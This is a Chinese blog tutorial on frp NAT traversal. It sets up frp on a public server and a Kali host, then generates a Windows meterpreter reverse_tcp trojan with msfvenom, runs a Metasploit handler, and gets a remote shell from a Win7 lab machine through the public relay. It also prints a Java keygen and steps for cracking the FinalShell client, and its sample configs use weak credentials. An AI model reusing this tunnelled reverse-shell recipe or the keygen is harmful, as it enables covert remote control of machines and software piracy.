网络安全之frp内网穿透

前言

内网穿透,也即 NAT 穿透,进行 NAT 穿透是为了使具有某一个特定源 IP 地址和源端口号的数据包不被 NAT 设备屏蔽而正确路由到内网主机

环境需求

一台公网服务器(linux操作系统)
一台内网主机服务器(linux操作系统) //我用的kali
Finalshell程序
win7靶机

环境搭建

Finalshell下载及破解

Finalshell下载安装,这个程序直接解压就可以运行exe程序,可以自己去下载也可以使用以下链接下载
Finalshell下载链接: https://pan.baidu.com/s/1US820WL3Y3A22yFQrctgKg?pwd=tmoz

其中需要破解的可以参考这位博主:https://blog.csdn.net/qq_50839138/article/details/126160766
破解步骤为: 点击界面左下角的 激活/升级 -> 点击离线激活(点击之前要输入你想使用的用户和密码,随便写就好) -> 复制机器码 ->使用以下java代码然后将机器码复制到程序中执行,选择你要的激活码,复制到框框里激活就可以成功

import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.util.Scanner;

public class Finalshell {

    public static void main(String[] args) throws NoSuchAlgorithmException {
        Scanner scanner = new Scanner(System.in);
        System.out.println("FinalShell-Keygen v1.0 - Developed by UltraPanda\n* Only for educational purpose *\n请输入离线激活所提供的机器码: ");
        String hardwareId = scanner.nextLine();
        System.out.printf("高级版激活码: %s\n专业版激活码: %s%n", transform('\uef79' + hardwareId + 8552), transform(2356 + hardwareId + 13593));
    }

    public static String transform(String str) throws NoSuchAlgorithmException {
        return hashMD5(str).substring(8, 24);
    }

    public static String hashMD5(String str) throws NoSuchAlgorithmException {
        MessageDigest digest = MessageDigest.getInstance("MD5");
        byte[] hashed = digest.digest(str.getBytes());
        StringBuilder sb = new StringBuilder();
        byte[] var4 = hashed;
        int var5 = hashed.length;

        for(int var6 = 0; var6 < var5; ++var6) {
            byte b = var4[var6];
            int len = b & 255;
            if (len < 16) {
                sb.append("0");
            }

            sb.append(Integer.toHexString(len));
        }

        return sb.toString();
    }
}

激活成功后用22端口分别去连接你的公网服务器和kali

公网服务器搭建frp

先使用arch查看自己的系统是64还是32位的
然后使用命令

wget https://github.com/fatedier/frp/releases/download/v0.46.0/frp_0.46.1_linux_amd64.tar.gz  //下载

tar -zxvf  frp_0.46.1_linux_amd64.tar.gz //解压

cd frp_0.46.1_linux_amd64   //进入文件夹

vi frps.ini 修改配置文件

[common]
#frp监听端口,默认是7000,可改
bind_addr = 0.0.0.0
bind_port = 7080

#授权码,建议改成复杂的
token = 520520 

#frp管理后台端口,根据自己需要去改即可
dashboard_port = 7878

# frp管理后台用户名和面,改成自己的
dashboard_user = admin
dashboard_pwd = admin

设置和启动frp服务器

sudo mkdir -p /etc/frp  //创建etc/frp文件夹
sudo cp frps.ini /etc/frp  //将frps复制到/etc/frp文件夹下
sudo cp frps /usr/bin   //将frps写入系统命令方便在其他地方调用
vim /etc/systemd/system/frps.service  //配置在下边第二张图
sudo cp /etc/systemd/system/frps.service /usr/lib/systemd/system/  //将启动服务添加到system系统中
sudo systemctl enable frps  //运行frps
sudo systemctl start frps   //启动frps

没有错误则配置和启动都成功

/etc/systemd/system/frps.service配置

[Unit]
Description = frp server
After = network.target syslog.target
Wants = network.target

[Service]
Type = simple

ExecStart = /root/frp_0.46.1_linux_amd64/frps -c /root/frp_0.46.1_linux_amd64/frps.ini

[Install]
WantedBy = multi-user.target

防火墙开放端口,运行前要先开启防火墙(service firewalld start)
sudo firewall-cmd --permanent --add-port=7080/tcp  //这里对应frps.ini中的 bind_port = 7080
sudo firewall-cmd --permanent --add-port=7878/tcp  //这里对应frps.ini中的 dashboard_port = 7878
sudo firewall-cmd --permanent --add-port=6070/tcp  //这里对应客户端的6070
sudo firewall-cmd --reload  //加载配置
每个配置后都出现success则配置成功
我这里是7080的连接端口和7878的后台端口还有客户端转发的端口其他可以不看

sudo firewall-cmd --list-ports  //查看开放的端口

紧接着,使用 ./frps -c ./frps.ini ,看到以下界面说明正确了,如果有问题则上面的配置重新审查一下

然后会出现无法访问或者访问超时,是因为服务器防火墙没有添加放行7080和7878端口,去服务器添加规则即可(因为我是用腾讯云的所以直接去他服务器防火墙改,其他种类的防火墙根据自己的防火墙去配置放行就好)

配置好了,去访问http://你的服务器ip:7878/后台管理,会出现弹框输入你服务器配置的账号密码即可查看到一下界面

服务器配置到这就算成功了,接下来配置客户端的

内网客户端服务器搭建frp

在内网开启一台机子,我这里用kali,然后将frp上传到kali中,解压后进入文件夹

vim frpc.ini //进入frpc.ini配置客户端

[common]
server_addr = 你的服务器ip
#与服务器的frps.ini的bind_port相同
server_port = 7080
#与服务器端的frps.ini的token相同
token = 520520

#配置ssh服务
[ssh]
type = tcp
local_ip = 127.0.0.1
#用于本地接收数据的端口,可改
local_port = 4545
#用于转发的端口,默认6000,可改
remote_port = 6070

sudo mkdir -p /etc/frp  //创建etc/frp文件夹
sudo cp frpc.ini /etc/frp  //将frps复制到/etc/frp文件夹下
sudo cp frpc /usr/bin   //将frps写入系统命令方便在其他地方调用
vim /etc/systemd/system/frpc.service  //配置在下边第二张图
sudo cp /etc/systemd/system/frpc.service /usr/lib/systemd/system/  //将启动服务添加到system系统中
sudo systemctl enable frpc  //运行frps
sudo systemctl start frpc  //启动frps

没有错误则配置和启动都成功

/etc/systemd/system/frpc.service配置

[Unit]
Description = frp server
After = network.target syslog.target
Wants = network.target

[Service]
Type = simple

ExecStart = /root/frp_0.46.1_linux_amd64/frpc -c /frp_0.46.1_linux_amd64/frpc.ini

[Install]
WantedBy = multi-user.target

使用 ./frpc -c ./frpc.ini 连接服务器,有以下界面说明连接成功

测试内网穿透是否成功

连接成功后,我们kali的msfvenom生成木马

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=服务器ip  LPORT=6070 -f exe > muma60701.exe

6070对应客户端的frpc.ini的转发端口

开启msf监听,

msfconcole

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lport 4545   //这里设置接收数据的端口对应frpc.ini的4545端口
set lhost 127.0.0.1
run

然后将木马放到虚拟机win7运行之后会得到后台

总结

我们目前搭建在公网的服务器frps是作为中转的路由,内网客户端 -> 公网服务器路由 -> 其他内网主机,内网客户端发送请求(也就是我们生成的木马),然后发送给其他内网主机,内网主机连接成功反弹回请求到公网服务器再利用6070转发到我们内网4545端口上,从而达到内网穿透成功

posted @ 2023-01-17 10:53  Vice_2203  阅读(718)  评论(0编辑  收藏  举报